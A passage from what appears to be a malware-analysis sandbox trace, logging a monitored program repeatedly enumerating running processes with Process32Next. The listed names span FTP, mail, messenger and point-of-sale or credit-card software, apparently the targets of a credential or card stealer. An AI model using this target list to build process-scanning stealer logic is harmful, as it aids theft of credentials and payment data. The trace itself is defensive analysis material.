th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0254.281] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0254.283] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0254.284] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0254.286] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0254.287] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0254.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0254.290] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0254.292] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0254.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0254.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0254.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0254.356] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0254.358] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0254.360] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0254.362] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0254.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0254.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0254.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0254.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0254.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0254.374] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0254.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0254.379] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0254.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0254.383] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0254.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0254.387] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0254.388] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0254.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0254.392] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0254.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0254.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0254.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0254.455] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0254.457] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0254.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0254.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0254.463] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0254.465] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0254.467] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0254.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0254.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0254.473] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0254.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0254.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0254.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0254.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0254.483] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0254.485] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0254.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0254.550] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0254.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0254.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0254.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0254.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0254.560] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0254.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0254.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0254.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0254.566] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0254.568] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0254.569] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0254.571] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.573] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.574] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.576] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0254.577] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0254.579] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0254.581] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0254.630] CloseHandle (hObject=0x13b0) returned 1 [0254.630] Sleep (dwMilliseconds=0x64) [0254.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0254.688] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.691] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.692] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.694] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.696] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.698] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.699] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.705] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.706] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.708] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.709] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.711] Process32Next (in: 